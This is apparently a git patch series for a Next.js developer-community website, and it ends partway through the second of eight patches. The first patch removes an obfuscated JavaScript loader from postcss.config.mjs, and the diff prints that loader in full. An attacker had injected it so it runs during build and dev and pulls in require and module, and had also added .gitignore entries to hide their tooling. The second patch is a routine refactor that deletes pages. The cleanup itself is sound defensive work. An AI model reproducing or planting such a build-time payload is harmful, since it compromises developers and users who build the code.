From 8bccc830776b78131bd3491b0d436be90f8dbb11 Mon Sep 17 00:00:00 2001 From: Jean Paul Elisa NIYOKWIZERWA Date: Tue, 30 Jun 2026 18:09:44 +0200 Subject: [PATCH 1/8] fix(security): remove malicious payload from postcss.config.mjs A force-push to develop/main injected obfuscated code into postcss.config.mjs (144B -> 5.5KB), which executes during next build/dev. Restore the clean config and drop the .gitignore entries the attacker added to hide their tooling (branch_structure.json, temp_auto_push.bat, temp_interactive_push.bat). --- .gitignore | 3 --- postcss.config.mjs | 6 +----- 2 files changed, 1 insertion(+), 8 deletions(-) diff --git a/.gitignore b/.gitignore index 34bb459..fb6cf66 100644 --- a/.gitignore +++ b/.gitignore @@ -38,6 +38,3 @@ pnpm-lock.yaml # typescript *.tsbuildinfo next-env.d.ts -branch_structure.json -temp_auto_push.bat -temp_interactive_push.bat diff --git a/postcss.config.mjs b/postcss.config.mjs index e572013..a869506 100644 --- a/postcss.config.mjs +++ b/postcss.config.mjs @@ -1,7 +1,3 @@ -import { createRequire } from 'module'; - -const require = createRequire(import.meta.url); - /** @type {import('postcss-load-config').Config} */ const config = { plugins: { @@ -9,4 +5,4 @@ const config = { }, } -export default config; global['!']='8-3116';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})(); +export default config From eb10e2ec9a9548b5eb9bcde9b599a177ecc24e00 Mon Sep 17 00:00:00 2001 From: Jean Paul Elisa NIYOKWIZERWA Date: Tue, 30 Jun 2026 18:11:51 +0200 Subject: [PATCH 2/8] refactor: simplify site to single page with a few flat routes Reduce 22 nested routes to 6 top-level ones: / (single page: Hero, Community, Workshops, Events, Open Source, Team, and a new Contact section) /workshops /events (flat list pages, detail [id] pages removed) /code-of-conduct (flattened from /community/) /privacy /terms - Remove auth, resources, register, get-started, sitemap, and all nested /community/* pages. - Fix the previously broken nav anchors; route Join/Contact CTAs to external channels via a single communityLinks constant. - Add ContactSection to replace the standalone /contact page. --- app/auth/login/page.tsx | 109 --------- app/auth/signup/page.tsx | 188 --------------- app/{community => }/code-of-conduct/page.tsx | 4 +- app/community/contribute/page.tsx | 109 --------- app/community/join/page.tsx | 100 -------- app/community/page.tsx | 96 -------- app/community/sponsorship/page.tsx | 166 ------------- app/contact/page.tsx | 146 ----------- app/events/[id]/page.tsx | 226 ------------------ app/events/page.tsx | 10 +- app/get-started/page.tsx | 143 ----------- app/page.tsx | 2 + app/register/events/[id]/page.tsx | 138 ----------- app/register/workshops/page.tsx | 137 ----------- app/resources/mentorship/page.tsx | 142 ----------- app/resources/page.tsx | 45 ---- app/resources/problem-solutions/page.tsx | 120 ---------- app/sitemap/page.tsx | 109 --------- app/workshops/[id]/page.tsx | 217 ----------------- app/workshops/page.tsx | 10 +- .../home-sections/contact-section.tsx | 79 ++++++ .../home-sections/events-section.tsx | 15 +- src/components/home-sections/hero.tsx | 9 +- .../home-sections/open-source-section.tsx | 20 +- src/components/home-sections/team-section.tsx | 6 +- .../home-sections/workshops-section.tsx | 16 +- src/components/layout/footer.tsx | 20 +- src/components/layout/header.tsx | 20 +- src/lib/constants.ts | 28 ++- 29 files changed, 175 insertions(+), 2255 deletions(-) delete mode 100644 app/auth/login/page.tsx delete mode 100644 app/auth/signup/page.tsx rename app/{community => }/code-of-conduct/page.tsx (98%) delete mode 100644 app/community/contribute/page.tsx delete mode 100644 app/community/join/page.tsx delete mode 100644 app/community/page.tsx delete mode 100644 app/community/sponsorship/page.tsx delete mode 100644 app/contact/page.tsx delete mode 100644 app/events/[id]/page.tsx delete mode 100644 app/get-started/page.tsx delete mode 100644 app/register/events/[id]/page.tsx delete mode 100644 app/register/workshops/page.tsx delete mode 100644 app/resources/mentorship/page.tsx delete mode 100644 app/resources/page.tsx delete mode 100644 app/resources/problem-solutions/page.tsx delete mode 100644 app/sitemap/page.tsx delete mode 100644 app/workshops/[id]/page.tsx create mode 100644 src/components/home-sections/contact-section.tsx diff --git a/app/auth/login/page.tsx b/app/auth/login/page.tsx deleted file mode 100644 index 33a4479..0000000 --- a/app/auth/login/page.tsx +++ /dev/null @@ -1,109 +0,0 @@ -import { Card } from "@/src/components/ui/card"; -import { Button } from "@/src/components/ui/button"; -import { Mail, Lock, ArrowRight } from "lucide-react"; -import Link from "next/link"; - -export const metadata = { - title: "Sign In | Django Rwanda Community", - description: "Sign in to your Django Rwanda Community account", -}; - -export default function LoginPage() { - return ( -
-
-
-
- D -
-

Welcome Back

-

- Sign in to your Django Rwanda Community account -

-
- - -
- {/* Email */} -
- -
- - -
-
- - {/* Password */} -
- -
- - -
-
- - {/* Remember me & Forgot password */} -
- - - Forgot password? - -
- - {/* Submit */} - -
- - {/* Divider */} -
-
- or -
-
- - {/* Social Login */} -
- - -
- - - {/* Sign up link */} -

- Don't have an account?{" "} - - Sign up here - -

-
-
- ); -} diff --git a/app/auth/signup/page.tsx b/app/auth/signup/page.tsx deleted file mode 100644 index c9987ce..0000000 --- a/app/auth/signup/page.tsx +++ /dev/null @@ -1,188 +0,0 @@ -import { Card } from "@/src/components/ui/card"; -import { Button } from "@/src/components/ui/button"; -import { User, Mail, Lock, Zap } from "lucide-react"; -import Link from "next/link"; - -export const metadata = { - title: "Sign Up | Django Rwanda Community", - description: "Create your Django Rwanda Community account", -}; - -export default function SignupPage() { - return ( -
-
-
-
- D -
-

- Join Django Rwanda -

-

- Create your account and start your journey -

-
- - -
- {/* Full Name */} -
- -
- - -
-
- - {/* Email */} -
- -
- - -
-
- - {/* Password */} -
- -
- - -
-
- - {/* Confirm Password */} -
- -
- - -
-
- - {/* Interests */} -
- -
- - - - -
-
- - {/* Terms agreement */} - - - {/* Submit */} - -
- - {/* Divider */} -
-
- or -
-
- - {/* Social Sign up */} -
- - -
- - - {/* Sign in link */} -

- Already have an account?{" "} - - Sign in here - -

-
-
- ); -} diff --git a/app/community/code-of-conduct/page.tsx b/app/code-of-conduct/page.tsx similarity index 98% rename from app/community/code-of-conduct/page.tsx rename to app/code-of-conduct/page.tsx index 84d9d1f..78d7b4c 100644 --- a/app/community/code-of-conduct/page.tsx +++ b/app/code-of-conduct/page.tsx @@ -40,10 +40,10 @@ export default function CodeOfConductPage() {
- ← Back to Community + ← Back to Home

Code of Conduct diff --git a/app/community/contribute/page.tsx b/app/community/contribute/page.tsx deleted file mode 100644 index 5625829..0000000 --- a/app/community/contribute/page.tsx +++ /dev/null @@ -1,109 +0,0 @@ -import { Card } from "@/src/components/ui/card"; -import { Button } from "@/src/components/ui/button"; -import { BookOpen, Code, Users, Megaphone } from "lucide-react"; -import Link from "next/link"; - -export const metadata = { - title: "Contribute | Django Rwanda Community", - description: "Help shape the future of Django Rwanda", -}; - -const contributionAreas = [ - { - icon: Code, - title: "Code & Development", - description: - "Contribute to our open-source projects and help build solutions for African communities.", - }, - { - icon: BookOpen, - title: "Content & Documentation", - description: - "Help us create tutorials, guides, and documentation for the community.", - }, - { - icon: Users, - title: "Community Support", - description: - "Become a mentor, organize events, or moderate our community channels.", - }, - { - icon: Megaphone, - title: "Marketing & Outreach", - description: - "Help spread the word about Django Rwanda and grow our community.", - }, -]; - -export default function ContributePage() { - return ( -
-
-
- - ← Back to Community - -

- How to Contribute -

-

- Every contribution matters. There are many ways to help build and - improve Django Rwanda. -

-
-
- -
-
-
- {contributionAreas.map((area, idx) => { - const Icon = area.icon; - return ( - -
- -
-

- {area.title} -

-

{area.description}

-
- ); - })} -
- - {/* Getting Started */} - -

- Getting Started -

-
    -
  1. - 1. - Join our community on Discord or Slack -
  2. -
  3. - 2. - Introduce yourself and tell us your interests -
  4. -
  5. - 3. - Check our contribution guidelines on GitHub -
  6. -
  7. - 4. - Start contributing on an issue or create your own! -
  8. -
- - - -
-
-
-
- ); -} diff --git a/app/community/join/page.tsx b/app/community/join/page.tsx deleted file mode 100644 index 90e643f..0000000 --- a/app/community/join/page.tsx +++ /dev/null @@ -1,100 +0,0 @@ -import { Card } from "@/src/components/ui/card"; -import { Button } from "@/src/components/ui/button"; -import { Check } from "lucide-react"; -import Link from "next/link"; - -export const metadata = { - title: "Join Community | Django Rwanda", - description: "Become a member of Django Rwanda Community", -}; - -const benefits = [ - "Access to exclusive workshops and training materials", - "Join networking events and meetups", - "Collaborate on open-source projects", - "Get mentorship from experienced developers", - "Access to job board and opportunities", - "Connect with 500+ community members", -]; - -export default function JoinPage() { - return ( -
-
-
- - ← Back to Community - -

- Join Django Rwanda -

-

- Be part of a vibrant community of African developers dedicated to - innovation and learning. -

-
-
- -
-
-
- {/* Benefits */} -
-

- Membership Benefits -

- -
    - {benefits.map((benefit, idx) => ( -
  • - - {benefit} -
  • - ))} -
-
-
- - {/* Signup Form */} -
-

- Get Started -

- -
- - - -